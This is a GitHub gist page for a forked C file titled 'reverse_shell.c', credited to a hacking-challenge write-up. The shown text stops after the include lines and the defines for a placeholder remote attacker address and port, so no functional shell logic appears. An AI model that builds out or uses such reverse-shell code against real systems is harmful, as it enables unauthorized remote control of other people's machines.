Skip to content

Instantly share code, notes, and snippets.

View larricksj's full-sized avatar

Steven Larrick larricksj

  • Washington D.C. Area
View GitHub Profile
@larricksj
larricksj / reverse_shell.c
Created July 16, 2018 19:43 — forked from 0xabe-io/reverse_shell.c
Simple C code to create a reverse shell
/* credits to http://blog.techorganic.com/2015/01/04/pegasus-hacking-challenge/ */
#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#define REMOTE_ADDR "XXX.XXX.XXX.XXX"
#define REMOTE_PORT XXX